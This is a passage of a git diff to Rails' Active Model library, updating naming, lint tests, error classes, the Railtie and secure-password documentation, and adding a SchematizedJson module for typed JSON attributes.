-    def init_with(coder) # :nodoc:
-      coder.map.each { |k, v| instance_variable_set(:"@#{k}", v) }
-      @details ||= {}
-      apply_default_array(@messages)
-      apply_default_array(@details)
-    end
-
-  private
-    def normalize_message(attribute, message, options)
-      case message
-      when Symbol
-        generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
-      else
-        message
-      end
-    end
-
-    def normalize_detail(message, options)
-      { error: message }.merge(options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS))
-    end
+    private
+      def normalize_arguments(attribute, type, **options)
+        # Evaluate proc first
+        if type.respond_to?(:call)
+          type = type.call(@base, options)
+        end
 
-    def without_default_proc(hash)
-      hash.dup.tap do |new_h|
-        new_h.default_proc = nil
+        [attribute.to_sym, type, options]
       end
-    end
-
-    def apply_default_array(hash)
-      hash.default_proc = proc { |h, key| h[key] = [] }
-      hash
-    end
   end
 
+  # = Active \Model \StrictValidationFailed
+  #
   # Raised when a validation cannot be corrected by end users and are considered
   # exceptional.
   #
@@ -480,10 +522,14 @@ def apply_default_array(hash)
   class StrictValidationFailed < StandardError
   end
 
+  # = Active \Model \RangeError
+  #
   # Raised when attribute values are out of range.
   class RangeError < ::RangeError
   end
 
+  # = Active \Model \UnknownAttributeError
+  #
   # Raised when unknown attributes are supplied via mass assignment.
   #
   #   class Person
diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb
index 45ab8a2ca1147..e9d43ca697037 100644
--- a/activemodel/lib/active_model/forbidden_attributes_protection.rb
+++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveModel
+  # = Active \Model \ForbiddenAttributesError
+  #
   # Raised when forbidden attributes are used for mass assignment.
   #
   #   class Person < ActiveRecord::Base
diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb
index 4a8ee915cf13a..ad3e59161501c 100644
--- a/activemodel/lib/active_model/gem_version.rb
+++ b/activemodel/lib/active_model/gem_version.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 module ActiveModel
-  # Returns the version of the currently loaded \Active \Model as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of \Active \Model as a +Gem::Version+.
   def self.gem_version
     Gem::Version.new VERSION::STRING
   end
 
   module VERSION
-    MAJOR = 5
-    MINOR = 1
+    MAJOR = 8
+    MINOR = 2
     TINY  = 0
     PRE   = "alpha"
 
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 291a545528794..5ad2698814506 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 module ActiveModel
   module Lint
     # == Active \Model \Lint \Tests
     #
     # You can test whether an object is compliant with the Active \Model API by
-    # including <tt>ActiveModel::Lint::Tests</tt> in your TestCase. It will
+    # including +ActiveModel::Lint::Tests+ in your TestCase. It will
     # include tests that tell you whether your object is fully compliant,
     # or if not, which aspects of the API are not implemented.
     #
@@ -27,8 +29,8 @@ module Tests
       # <tt>to_key</tt> returns an Enumerable of all (primary) key attributes
       # of the model, and is used to a generate unique DOM id for the object.
       def test_to_key
-        assert model.respond_to?(:to_key), "The model should respond to to_key"
-        def model.persisted?() false end
+        assert_respond_to model, :to_key
+        def_method(model, :persisted?) { false }
         assert model.to_key.nil?, "to_key should return nil when `persisted?` returns false"
       end
 
@@ -42,9 +44,9 @@ def model.persisted?() false end
       # tests for this behavior in lint because it doesn't make sense to force
       # any of the possible implementation strategies on the implementer.
       def test_to_param
-        assert model.respond_to?(:to_param), "The model should respond to to_param"
-        def model.to_key() [1] end
-        def model.persisted?() false end
+        assert_respond_to model, :to_param
+        def_method(model, :to_key) { [1] }
+        def_method(model, :persisted?) { false }
         assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false"
       end
 
@@ -54,7 +56,7 @@ def model.persisted?() false end
       # <tt>to_partial_path</tt> is used for looking up partials. For example,
       # a BlogPost model might return "blog_posts/blog_post".
       def test_to_partial_path
-        assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path"
+        assert_respond_to model, :to_partial_path
         assert_kind_of String, model.to_partial_path
       end
 
@@ -66,7 +68,7 @@ def test_to_partial_path
       # will route to the create action. If it is persisted, a form for the
       # object will route to the update action.
       def test_persisted?
-        assert model.respond_to?(:persisted?), "The model should respond to persisted?"
+        assert_respond_to model, :persisted?
         assert_boolean model.persisted?, "persisted?"
       end
 
@@ -77,14 +79,14 @@ def test_persisted?
       #
       # Check ActiveModel::Naming for more information.
       def test_model_naming
-        assert model.class.respond_to?(:model_name), "The model class should respond to model_name"
+        assert_respond_to model.class, :model_name
         model_name = model.class.model_name
-        assert model_name.respond_to?(:to_str)
-        assert model_name.human.respond_to?(:to_str)
-        assert model_name.singular.respond_to?(:to_str)
-        assert model_name.plural.respond_to?(:to_str)
+        assert_respond_to model_name, :to_str
+        assert_respond_to model_name.human, :to_str
+        assert_respond_to model_name.singular, :to_str
+        assert_respond_to model_name.plural, :to_str
 
-        assert model.respond_to?(:model_name), "The model instance should respond to model_name"
+        assert_respond_to model, :model_name
         assert_equal model.model_name, model.class.model_name
       end
 
@@ -98,13 +100,17 @@ def test_model_naming
       # If localization is used, the strings should be localized for the current
       # locale. If no error is present, the method should return an empty array.
       def test_errors_aref
-        assert model.respond_to?(:errors), "The model should respond to errors"
-        assert model.errors[:hello].is_a?(Array), "errors#[] should return an Array"
+        assert_respond_to model, :errors
+        assert_equal [], model.errors[:hello], "errors#[] should return an empty Array"
       end
 
       private
+        def def_method(receiver, name, &block)
+          ::Object.instance_method(:define_singleton_method).bind_call(receiver, name, &block)
+        end
+
         def model
-          assert @model.respond_to?(:to_model), "The object should respond to to_model"
+          assert_respond_to @model, :to_model
           @model.to_model
         end
 
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
index 061e35dd1e2b0..c6a036359f863 100644
--- a/activemodel/lib/active_model/locale/en.yml
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -18,6 +18,7 @@ en:
       too_long:
         one: "is too long (maximum is 1 character)"
         other: "is too long (maximum is %{count} characters)"
+      password_too_long: "is too long"
       too_short:
         one: "is too short (minimum is 1 character)"
         other: "is too short (minimum is %{count} characters)"
@@ -32,5 +33,6 @@ en:
       less_than: "must be less than %{count}"
       less_than_or_equal_to: "must be less than or equal to %{count}"
       other_than: "must be other than %{count}"
+      in: "must be in %{count}"
       odd: "must be odd"
       even: "must be even"
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
index 945a5402a3e97..13adfe65b2830 100644
--- a/activemodel/lib/active_model/model.rb
+++ b/activemodel/lib/active_model/model.rb
@@ -1,11 +1,12 @@
+# frozen_string_literal: true
+
 module ActiveModel
-  # == Active \Model \Basic \Model
+  # = Active \Model \Basic \Model
   #
-  # Includes the required interface for an object to interact with
-  # Action Pack and Action View, using different Active Model modules.
-  # It includes model name introspections, conversions, translations and
-  # validations. Besides that, it allows you to initialize the object with a
-  # hash of attributes, pretty much like Active Record does.
+  # Allows implementing models similar to ActiveRecord::Base.
+  # Includes ActiveModel::API for the required interface for an
+  # object to interact with Action Pack and Action View, but can be
+  # extended with other functionalities.
   #
   # A minimal implementation could be:
   #
@@ -18,23 +19,7 @@ module ActiveModel
   #   person.name # => "bob"
   #   person.age  # => "18"
   #
-  # Note that, by default, <tt>ActiveModel::Model</tt> implements <tt>persisted?</tt>
-  # to return +false+, which is the most common case. You may want to override
-  # it in your class to simulate a different scenario:
-  #
-  #   class Person
-  #     include ActiveModel::Model
-  #     attr_accessor :id, :name
-  #
-  #     def persisted?
-  #       self.id == 1
-  #     end
-  #   end
-  #
-  #   person = Person.new(id: 1, name: 'bob')
-  #   person.persisted? # => true
-  #
-  # Also, if for some reason you need to run code on <tt>initialize</tt>, make
+  # If for some reason you need to run code on <tt>initialize</tt>, make
   # sure you call +super+ if you want the attributes hash initialization to
   # happen.
   #
@@ -52,46 +37,42 @@ module ActiveModel
   #   person.omg # => true
   #
   # For more detailed information on other functionalities available, please
-  # refer to the specific modules included in <tt>ActiveModel::Model</tt>
+  # refer to the specific modules included in +ActiveModel::Model+
   # (see below).
   module Model
     extend ActiveSupport::Concern
-    include ActiveModel::AttributeAssignment
-    include ActiveModel::Validations
-    include ActiveModel::Conversion
-
-    included do
-      extend ActiveModel::Naming
-      extend ActiveModel::Translation
-    end
+    include ActiveModel::API
+    include ActiveModel::Access
 
-    # Initializes a new model with the given +params+.
+    ##
+    # :method: slice
     #
-    #   class Person
-    #     include ActiveModel::Model
-    #     attr_accessor :name, :age
-    #   end
+    # :call-seq: slice(*methods)
     #
-    #   person = Person.new(name: 'bob', age: '18')
-    #   person.name # => "bob"
-    #   person.age  # => "18"
-    def initialize(attributes = {})
-      assign_attributes(attributes) if attributes
-
-      super()
-    end
+    # Returns a hash of the given methods with their names as keys and returned
+    # values as values.
+    #
+    #   person = Person.new(id: 1, name: "bob")
+    #   person.slice(:id, :name)
+    #   # => { "id" => 1, "name" => "bob" }
+    #
+    #--
+    # Implemented by ActiveModel::Access#slice.
 
-    # Indicates if the model is persisted. Default is +false+.
+    ##
+    # :method: values_at
+    #
+    # :call-seq: values_at(*methods)
     #
-    #  class Person
-    #    include ActiveModel::Model
-    #    attr_accessor :id, :name
-    #  end
+    # Returns an array of the values returned by the given methods.
     #
-    #  person = Person.new(id: 1, name: 'bob')
-    #  person.persisted? # => false
-    def persisted?
-      false
-    end
+    #   person = Person.new(id: 1, name: "bob")
+    #   person.values_at(:id, :name)
+    #   # => [1, "bob"]
+    #
+    #--
+    # Implemented by ActiveModel::Access#values_at.
   end
+
+  ActiveSupport.run_load_hooks(:active_model, Model)
 end
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index 9853cf38fe483..68cc50ebf7712 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -1,12 +1,14 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/except"
 require "active_support/core_ext/module/introspection"
-require "active_support/core_ext/module/remove_method"
+require "active_support/core_ext/module/redefine_method"
 
 module ActiveModel
   class Name
     include Comparable
 
-    attr_reader :singular, :plural, :element, :collection,
+    attr_accessor :singular, :plural, :element, :collection,
       :singular_route_key, :route_key, :param_key, :i18n_key,
       :name
 
@@ -47,7 +49,7 @@ class Name
     # :method: <=>
     #
     # :call-seq:
-    #   ==(other)
+    #   <=>(other)
     #
     # Equivalent to <tt>String#<=></tt>.
     #
@@ -108,6 +110,22 @@ class Name
     #   BlogPost.model_name.eql?('BlogPost')  # => true
     #   BlogPost.model_name.eql?('Blog Post') # => false
 
+    ##
+    # :method: match?
+    #
+    # :call-seq:
+    #   match?(regexp)
+    #
+    # Equivalent to <tt>String#match?</tt>. Match the class name against the
+    # given regexp. Returns +true+ if there is a match, otherwise +false+.
+    #
+    #   class BlogPost
+    #     extend ActiveModel::Naming
+    #   end
+    #
+    #   BlogPost.model_name.match?(/Post/) # => true
+    #   BlogPost.model_name.match?(/\d/) # => false
+
     ##
     # :method: to_s
     #
@@ -129,12 +147,13 @@ class Name
     #   to_str()
     #
     # Equivalent to +to_s+.
-    delegate :==, :===, :<=>, :=~, :"!~", :eql?, :to_s,
+    delegate :==, :===, :<=>, :=~, :"!~", :eql?, :match?, :to_s,
              :to_str, :as_json, to: :name
 
     # Returns a new ActiveModel::Name instance. By default, the +namespace+
     # and +name+ option will take the namespace and name of the given class
     # respectively.
+    # Use +locale+ argument for singularize and pluralize model name.
     #
     #   module Foo
     #     class Bar
@@ -143,24 +162,25 @@ class Name
     #
     #   ActiveModel::Name.new(Foo::Bar).to_s
     #   # => "Foo::Bar"
-    def initialize(klass, namespace = nil, name = nil)
+    def initialize(klass, namespace = nil, name = nil, locale = :en)
       @name = name || klass.name
 
       raise ArgumentError, "Class name cannot be blank. You need to supply a name argument when anonymous class given" if @name.blank?
 
-      @unnamespaced = @name.sub(/^#{namespace.name}::/, "") if namespace
+      @unnamespaced = @name.delete_prefix("#{namespace.name}::") if namespace
       @klass        = klass
       @singular     = _singularize(@name)
-      @plural       = ActiveSupport::Inflector.pluralize(@singular)
+      @plural       = ActiveSupport::Inflector.pluralize(@singular, locale)
+      @uncountable  = @plural == @singular
       @element      = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(@name))
       @human        = ActiveSupport::Inflector.humanize(@element)
       @collection   = ActiveSupport::Inflector.tableize(@name)
       @param_key    = (namespace ? _singularize(@unnamespaced) : @singular)
       @i18n_key     = @name.underscore.to_sym
 
-      @route_key          = (namespace ? ActiveSupport::Inflector.pluralize(@param_key) : @plural.dup)
-      @singular_route_key = ActiveSupport::Inflector.singularize(@route_key)
-      @route_key << "_index" if @plural == @singular
+      @route_key          = (namespace ? ActiveSupport::Inflector.pluralize(@param_key, locale) : @plural.dup)
+      @singular_route_key = ActiveSupport::Inflector.singularize(@route_key, locale)
+      @route_key << "_index" if @uncountable
     end
 
     # Transform the model name into a more human format, using I18n. By default,
@@ -174,28 +194,42 @@ def initialize(klass, namespace = nil, name = nil)
     #
     # Specify +options+ with additional translating options.
     def human(options = {})
-      return @human unless @klass.respond_to?(:lookup_ancestors) &&
-                           @klass.respond_to?(:i18n_scope)
-
-      defaults = @klass.lookup_ancestors.map do |klass|
-        klass.model_name.i18n_key
-      end
+      return @human if i18n_keys.empty? || i18n_scope.empty?
 
+      key, *defaults = i18n_keys
       defaults << options[:default] if options[:default]
-      defaults << @human
+      defaults << MISSING_TRANSLATION
+
+      translation = I18n.translate(key, scope: i18n_scope, count: 1, **options, default: defaults)
+      translation = @human if translation == MISSING_TRANSLATION
+      translation
+    end
 
-      options = { scope: [@klass.i18n_scope, :models], count: 1, default: defaults }.merge!(options.except(:default))
-      I18n.translate(defaults.shift, options)
+    def uncountable?
+      @uncountable
     end
 
     private
+      MISSING_TRANSLATION = -(2**60) # :nodoc:
 
       def _singularize(string)
-        ActiveSupport::Inflector.underscore(string).tr("/".freeze, "_".freeze)
+        ActiveSupport::Inflector.underscore(string).tr("/", "_")
+      end
+
+      def i18n_keys
+        @i18n_keys ||= if @klass.respond_to?(:lookup_ancestors)
+          @klass.lookup_ancestors.map { |klass| klass.model_name.i18n_key }
+        else
+          []
+        end
+      end
+
+      def i18n_scope
+        @i18n_scope ||= @klass.respond_to?(:i18n_scope) ? [@klass.i18n_scope, :models] : []
       end
   end
 
-  # == Active \Model \Naming
+  # = Active \Model \Naming
   #
   # Creates a +model_name+ method on your object.
   #
@@ -215,8 +249,8 @@ def _singularize(string)
   # is required to pass the \Active \Model Lint test. So either extending the
   # provided method below, or rolling your own is required.
   module Naming
-    def self.extended(base) #:nodoc:
-      base.remove_possible_method :model_name
+    def self.extended(base) # :nodoc:
+      base.silence_redefinition_of_method :model_name
       base.delegate :model_name, to: :class
     end
 
@@ -234,7 +268,7 @@ def self.extended(base) #:nodoc:
     #   Person.model_name.plural   # => "people"
     def model_name
       @_model_name ||= begin
-        namespace = parents.detect do |n|
+        namespace = module_parents.detect do |n|
           n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?
         end
         ActiveModel::Name.new(self, namespace)
@@ -262,7 +296,7 @@ def self.singular(record_or_class)
     #   ActiveModel::Naming.uncountable?(Sheep) # => true
     #   ActiveModel::Naming.uncountable?(Post)  # => false
     def self.uncountable?(record_or_class)
-      plural(record_or_class) == singular(record_or_class)
+      model_name_from_record_or_class(record_or_class).uncountable?
     end
 
     # Returns string to use while generating route names. It differs for
@@ -304,7 +338,7 @@ def self.param_key(record_or_class)
       model_name_from_record_or_class(record_or_class).param_key
     end
 
-    def self.model_name_from_record_or_class(record_or_class) #:nodoc:
+    def self.model_name_from_record_or_class(record_or_class) # :nodoc:
       if record_or_class.respond_to?(:to_model)
         record_or_class.to_model.model_name
       else
@@ -312,5 +346,13 @@ def self.model_name_from_record_or_class(record_or_class) #:nodoc:
       end
     end
     private_class_method :model_name_from_record_or_class
+
+    private
+      def inherited(base)
+        super
+        base.class_eval do
+          @_model_name = nil
+        end
+      end
   end
 end
diff --git a/activemodel/lib/active_model/nested_error.rb b/activemodel/lib/active_model/nested_error.rb
new file mode 100644
index 0000000000000..1efee2b2a6638
--- /dev/null
+++ b/activemodel/lib/active_model/nested_error.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "active_model/error"
+
+module ActiveModel
+  class NestedError < Error
+    def initialize(base, inner_error, override_options = {})
+      @base = base
+      @inner_error = inner_error
+      @attribute = override_options.fetch(:attribute) { inner_error.attribute }
+      @type = override_options.fetch(:type) { inner_error.type }
+      @raw_type = inner_error.raw_type
+      @options = inner_error.options
+    end
+
+    attr_reader :inner_error
+
+    delegate :message, to: :@inner_error
+  end
+end
diff --git a/activemodel/lib/active_model/railtie.rb b/activemodel/lib/active_model/railtie.rb
index 1671eb7bd4b3e..bbd9c275c12a0 100644
--- a/activemodel/lib/active_model/railtie.rb
+++ b/activemodel/lib/active_model/railtie.rb
@@ -1,12 +1,28 @@
-require "active_model"
+# frozen_string_literal: true
+
 require "rails"
+require "active_model"
 
 module ActiveModel
   class Railtie < Rails::Railtie # :nodoc:
     config.eager_load_namespaces << ActiveModel
 
+    config.active_model = ActiveSupport::OrderedOptions.new
+
+    initializer "active_model.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:active_model] = ActiveModel.deprecator
+    end
+
     initializer "active_model.secure_password" do
-      ActiveModel::SecurePassword.min_cost = Rails.env.test?
+      ActiveSupport.on_load(:active_model_secure_password) do
+        ActiveModel::SecurePassword.min_cost = Rails.env.test?
+      end
+    end
+
+    initializer "active_model.i18n_customize_full_message" do |app|
+      ActiveSupport.on_load(:active_model_error) do
+        ActiveModel::Error.i18n_customize_full_message = app.config.active_model.i18n_customize_full_message || false
+      end
     end
   end
 end
diff --git a/activemodel/lib/active_model/schematized_json.rb b/activemodel/lib/active_model/schematized_json.rb
new file mode 100644
index 0000000000000..25f1e892b7ba0
--- /dev/null
+++ b/activemodel/lib/active_model/schematized_json.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/reverse_merge"
+require "active_support/core_ext/symbol/starts_ends_with"
+
+module ActiveModel
+  module SchematizedJson
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Provides a schema-enforced access object for a JSON attribute. This allows you to assign values
+      # directly from the UI as strings, and still have them set with the correct JSON type in the database.
+      #
+      # Only the three basic JSON types are supported: boolean, integer, and string. No nesting either.
+      # These types can either be set by referring to them by their symbol or by setting a default value.
+      # Default values are set when a new model is instantiated and on +before_save+ (if defined).
+      #
+      # Examples:
+      #
+      #   class Account < ApplicationRecord
+      #     has_json :settings, restrict_creation_to_admins: true, max_invites: 10, greeting: "Hello!"
+      #     has_json :flags, beta: false, staff: :boolean
+      #   end
+      #
+      #   a = Account.new
+      #   a.settings.restrict_creation_to_admins? # => true
+      #   a.settings.max_invites = "100" # => Set to integer 100
+      #   a.settings = { "restrict_creation_to_admins" => "false", "max_invites" => "500", "greeting" => "goodbye" }
+      #   a.settings.greeting # => "goodbye"
+      #   a.flags.staff # => nil
+      #   a.flags.staff? # => false
+      def has_json(attr, **schema)
+        define_method(attr) do
+          # Ensure the attribute is set if nil, so we can pass the reference to the accessor for defaults.
+          _write_attribute(attr.to_s, {}) if attribute(attr.to_s).nil?
+
+          # No memoization used in order to stay compatible with #reload (and because it's such a thin accessor).
+          ActiveModel::SchematizedJson::DataAccessor.new(schema, data: attribute(attr.to_s))
+        end
+
+        define_method("#{attr}=") { |data| public_send(attr).assign_data_with_type_casting(data) }
+
+        # Ensure default values are set before saving by relying on DataAccessor instantiation to do it.
+        before_save -> { send(attr) } if respond_to?(:before_save)
+      end
+
+      # Like +has_json+ but each schema key also becomes its own set of accessor methods.
+      #
+      #   class Account < ApplicationRecord
+      #     has_delegated_json :flags, beta: false, staff: :boolean
+      #   end
+      #
+      #   a = Account.new
+      #   a.beta? # => false
+      #   a.beta = true
+      #   a.beta # => true
+      def has_delegated_json(attr, **schema)
+        has_json attr, **schema
+
+        schema.keys.each do |schema_key|
+          define_method(schema_key)       { public_send(attr).public_send(schema_key) }
+          define_method("#{schema_key}?") { public_send(attr).public_send("#{schema_key}?") }
+          define_method("#{schema_key}=") { |value| send(attr).public_send("#{schema_key}=", value) }
+        end
+      end
+    end
+
+    # :nodoc:
+    class DataAccessor
+      def initialize(schema, data:)
+        @schema, @data = schema, data
+        update_data_with_schema_defaults
+      end
+
+      def assign_data_with_type_casting(new_data)
+        new_data.each { |k, v| public_send "#{k}=", v }
+      end
+
+      private
+        def method_missing(method_name, *args, **kwargs)
+          key = method_name.to_s.remove(/(\?|=)/)
+
+          if @schema.key? key.to_sym
+            if method_name.ends_with?("?")
+              @data[key].present?
+            elsif method_name.ends_with?("=")
+              @data[key] = lookup_schema_type_for(key).cast(args.first)
+            else
+              @data[key]
+            end
+          else
+            super
+          end
+        end
+
+        def respond_to_missing?(method_name, include_private = false)
+          @schema.key?(method_name.to_s.remove(/[?=]/).to_sym) || super
+        end
+
+        def lookup_schema_type_for(key)
+          type_or_default_value = @schema[key.to_sym]
+
+          case type_or_default_value
+          when :boolean, :integer, :string
+            ActiveModel::Type.lookup type_or_default_value
+          when TrueClass, FalseClass
+            ActiveModel::Type.lookup :boolean
+          when Integer
+            ActiveModel::Type.lookup :integer
+          when String
+            ActiveModel::Type.lookup :string
+          else
+            raise ArgumentError, "Only boolean, integer, or strings are allowed as JSON schema types"
+          end
+        end
+
+        # Types that are declared using real values, like true/false, 5, or "hello", will be used as defaults.
+        # Types that are declared using symbols, like :boolean, :integer, :string, will be nulled out.
+        def update_data_with_schema_defaults
+          @data.reverse_merge!(@schema.to_h { |attr, type| [ attr.to_s, type.is_a?(Symbol) ? nil : type ] })
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index 1c0fe92bc0ec3..e13e666fcb5db 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -1,69 +1,212 @@
+# frozen_string_literal: true
+
+require "active_model/secure_password/bcrypt_password"
+require "active_model/secure_password/argon2_password"
+require "active_support/core_ext/numeric/time"
+
 module ActiveModel
   module SecurePassword
     extend ActiveSupport::Concern
 
-    # BCrypt hash function can handle maximum 72 characters, and if we pass
-    # password of length more than 72 characters it ignores extra characters.
-    # Hence need to put a restriction on password length.
-    MAX_PASSWORD_LENGTH_ALLOWED = 72
+    DEFAULT_RESET_TOKEN_EXPIRES_IN = 15.minutes
 
     class << self
       attr_accessor :min_cost # :nodoc:
+
+      # Returns the registry of password algorithms
+      def algorithm_registry
+        @algorithm_registry ||= {}
+      end
+
+      # Registers a password algorithm for use with has_secure_password
+      #
+      #   ActiveModel::SecurePassword.register_algorithm :argon2, Argon2Password
+      #
+      # The algorithm class will be instantiated when used.
+      def register_algorithm(name, algorithm_class)
+        algorithm_registry[name.to_sym] = algorithm_class
+      end
+
+      # Looks up a registered algorithm by name
+      def lookup_algorithm(name)
+        algorithm_registry[name.to_sym]
+      end
     end
     self.min_cost = false
 
     module ClassMethods
       # Adds methods to set and authenticate against a BCrypt password.
-      # This mechanism requires you to have a +password_digest+ attribute.
+      # This mechanism requires you to have a +XXX_digest+ attribute,
+      # where +XXX+ is the attribute name of your desired password.
       #
       # The following validations are added automatically:
       # * Password must be present on creation
-      # * Password length should be less than or equal to 72 characters
-      # * Confirmation of password (using a +password_confirmation+ attribute)
+      # * Password length should be less than or equal to 72 bytes
+      # * Confirmation of password (using a +XXX_confirmation+ attribute)
       #
-      # If password confirmation validation is not needed, simply leave out the
-      # value for +password_confirmation+ (i.e. don't provide a form field for
+      # If confirmation validation is not needed, simply leave out the
+      # value for +XXX_confirmation+ (i.e. don't provide a form field for
       # it). When this attribute has a +nil+ value, the validation will not be
       # triggered.
       #
-      # For further customizability, it is possible to suppress the default
-      # validations by passing <tt>validations: false</tt> as an argument.
+      # Additionally, a +XXX_challenge+ attribute is created. When set to a
+      # value other than +nil+, it will validate against the currently persisted
+      # password. This validation relies on dirty tracking, as provided by
+      # ActiveModel::Dirty; if dirty tracking methods are not defined, this
+      # validation will fail.
+      #
+      # All of the above validations can be omitted by passing
+      # <tt>validations: false</tt> as an argument. This allows complete
+      # customizability of validation behavior.
+      #
+      # A password reset token (valid for 15 minutes by default) is automatically
+      # configured when +reset_token+ is set to true (which it is by default)
+      # and the object responds to +generates_token_for+ (which Active Records do).
       #
-      # Add bcrypt (~> 3.1.7) to Gemfile to use #has_secure_password:
+      # Finally, the reset token expiry can be customized by passing a hash to
+      # +has_secure_password+:
       #
-      #   gem 'bcrypt', '~> 3.1.7'
+      #   has_secure_password reset_token: { expires_in: 1.hour }
       #
-      # Example using Active Record (which automatically includes ActiveModel::SecurePassword):
+      # To use +has_secure_password+, add bcrypt (~> 3.1.7) to your Gemfile:
       #
-      #   # Schema: User(name:string, password_digest:string)
+      #   gem "bcrypt", "~> 3.1.7"
+      #
+      # If you want to use a different password hashing algorithm, you can implement your own
+      # class that responds to +algorithm_name+, +hash_password+, +verify_password+, +password_salt+ and +validate+.
+      # For an example implementation, see +BCryptPassword+ in +bcrypt_password.rb+.
+      #
+      # ==== Examples
+      #
+      # ===== Using Active Record (which automatically includes ActiveModel::SecurePassword)
+      #
+      #   # Schema: User(name:string, password_digest:string, recovery_password_digest:string)
       #   class User < ActiveRecord::Base
       #     has_secure_password
+      #     has_secure_password :recovery_password, validations: false
       #   end
       #
-      #   user = User.new(name: 'david', password: '', password_confirmation: 'nomatch')
-      #   user.save                                                       # => false, password required
-      #   user.password = 'mUc3m00RsqyRe'
-      #   user.save                                                       # => false, confirmation doesn't match
-      #   user.password_confirmation = 'mUc3m00RsqyRe'
-      #   user.save                                                       # => true
-      #   user.authenticate('notright')                                   # => false
-      #   user.authenticate('mUc3m00RsqyRe')                              # => user
-      #   User.find_by(name: 'david').try(:authenticate, 'notright')      # => false
-      #   User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
-      def has_secure_password(options = {})
-        # Load bcrypt gem only when has_secure_password is used.
-        # This is to avoid ActiveModel (and by extension the entire framework)
-        # being dependent on a binary library.
-        begin
-          require "bcrypt"
-        rescue LoadError
-          $stderr.puts "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install"
-          raise
+      #   user = User.new(name: "david", password: "", password_confirmation: "nomatch")
+      #
+      #   user.password_algorithm                                        # => :bcrypt
+      #   user.save                                                      # => false, password required
+      #   user.password = "vr00m"
+      #   user.save                                                      # => false, confirmation doesn't match
+      #   user.password_confirmation = "vr00m"
+      #   user.save                                                      # => true
+      #
+      #   user.authenticate("notright")                                  # => false
+      #   user.authenticate("vr00m")                                     # => user
+      #   User.find_by(name: "david")&.authenticate("notright")          # => false
+      #   User.find_by(name: "david")&.authenticate("vr00m")             # => user
+      #
+      #   user.recovery_password = "42password"
+      #   user.recovery_password_digest                                  # => "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"
+      #   user.save                                                      # => true
+      #
+      #   user.authenticate_recovery_password("42password")              # => user
+      #
+      #   user.update(password: "pwn3d", password_challenge: "")         # => false, challenge doesn't authenticate
+      #   user.update(password: "nohack4u", password_challenge: "vr00m") # => true
+      #
+      #   user.authenticate("vr00m")                                     # => false, old password
+      #   user.authenticate("nohack4u")                                  # => user
+      #
+      # ===== Conditionally requiring a password
+      #
+      #   class Account
+      #     include ActiveModel::SecurePassword
+      #
+      #     attr_accessor :is_guest, :password_digest
+      #
+      #     has_secure_password
+      #
+      #     def errors
+      #       super.tap { |errors| errors.delete(:password, :blank) if is_guest }
+      #     end
+      #   end
+      #
+      #   account = Account.new
+      #   account.valid? # => false, password required
+      #
+      #   account.is_guest = true
+      #   account.valid? # => true
+      #
+      # ===== Using the password reset token
+      #
+      #   user = User.create!(name: "david", password: "123", password_confirmation: "123")
+      #   token = user.password_reset_token
+      #   User.find_by_password_reset_token(token) # returns user
+      #
+      #   # 16 minutes later...
+      #   User.find_by_password_reset_token(token) # returns nil
+      #
+      #   # raises ActiveSupport::MessageVerifier::InvalidSignature since the token is expired
+      #   User.find_by_password_reset_token!(token)
+      #
+      # ===== Customizing the hashing algorithm
+      #
+      # +has_secure_password+ supports +:bcrypt+ (default) and +:argon2+ out of the box.
+      # To use +:argon2+, add +gem "argon2", "~> 2.3"+ to your Gemfile and set the +algorithm+ option:
+      #
+      #   class User < ActiveRecord::Base
+      #     has_secure_password algorithm: :argon2
+      #   end
+      #
+      # To add a custom algorithm, create a class that implements +hash_password+, +verify_password+, +password_salt+,
+      # +validate+ and +algorithm_name+ methods, then register it:
+      #
+      #   class ScryptPassword
+      #     def initialize
+      #       require "scrypt"
+      #     rescue LoadError
+      #       warn "You don't have scrypt installed in your application. Please add it to your Gemfile and run bundle install."
+      #       raise
+      #     end
+      #
+      #     def hash_password(unencrypted_password)
+      #       SCrypt::Password.create(unencrypted_password)
+      #     end
+      #
+      #     def verify_password(password, digest)
+      #       SCrypt::Password.new(digest) == password
+      #     end
+      #
+      #     def password_salt(digest)
+      #       SCrypt::Password.new(digest).salt
+      #     end
+      #
+      #     def validate(_record, _attribute)
+      #       # Scrypt has no maximum input size, no validation needed
+      #     end
+      #
+      #     def algorithm_name
+      #       :scrypt
+      #     end
+      #   end
+      #
+      #   ActiveModel::SecurePassword.register_algorithm :scrypt, ScryptPassword
+      #
+      #   class User < ActiveRecord::Base
